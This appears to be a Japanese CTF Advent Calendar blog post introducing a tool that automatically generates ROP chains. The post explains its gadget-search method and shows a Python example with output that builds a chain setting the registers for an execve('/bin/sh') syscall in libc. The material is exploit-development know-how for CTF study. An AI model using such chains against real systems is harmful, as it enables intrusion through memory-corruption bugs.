ROPChainを自動生成してみる。

CTF AdventCalendar 201710日目の記事です。
ROPChainを自動生成してみます。

レジスタに好きな値を設定出来るようなROPChainを生成します。

方法

方法は単純です。

  1. pop reg; retのようなレジスタに特定の値をpopするROPガジェットを探す。
  2. 1で見つからなかったらpopの代わりになるようなROPガジェットの組み合わせを探す。 (e.g. pop reg2; retmov reg1, reg2; retとか
  3. 2.で必要なROPガジェットが見つからなかったらそのROPガジェットの代わりを探す。
  4. 見つかるまで3を繰り返す.

ちなみに現在はROPガジェットの収集はrp++を用いています。

こんな感じで頑張ってスクリプトを書くと生成の成功率が高いROPChain自動生成プログラムが出来るわけです。 こちらがその自動生成プログラムです。↓

github.com

辞書で32bitならeax, ebx, ...、64bitならrax, rbx, ...をキーにして値を指定して上げればOKです。 下記はregsの用にレジスタに値を設定するROPChainを出力するスクリプトです。

from ropchain import solver

lib = './libc.so.6'
base = 0xf7000000
binsh = base + 0x15b9ab
regs = {'eax': 0xb, 'ebx': binsh, 'ecx': 0x0, 'edx': 0x0}
print("libc base: %s" % hex(base))
rop = solver.solveWithFile(regs, lib, base)
rop.dump()

出力

0xf757d06e pop eax; ret
0xb
0xf755aaa6 pop edx; ret
0x0
0xf7571395 pop ebx; ret
0xf76b49ab
0xf760e377 pop ecx; ret
0x0

それっぽい感じですね。

ただのROPChainを生成する他に特定の文字を含まないROPChainの生成も可能です。
ただ、必要なROPガジェットが見つからず失敗したり、成功してもROPChainが長すぎて使い物にならないのが現状なので改良が必要。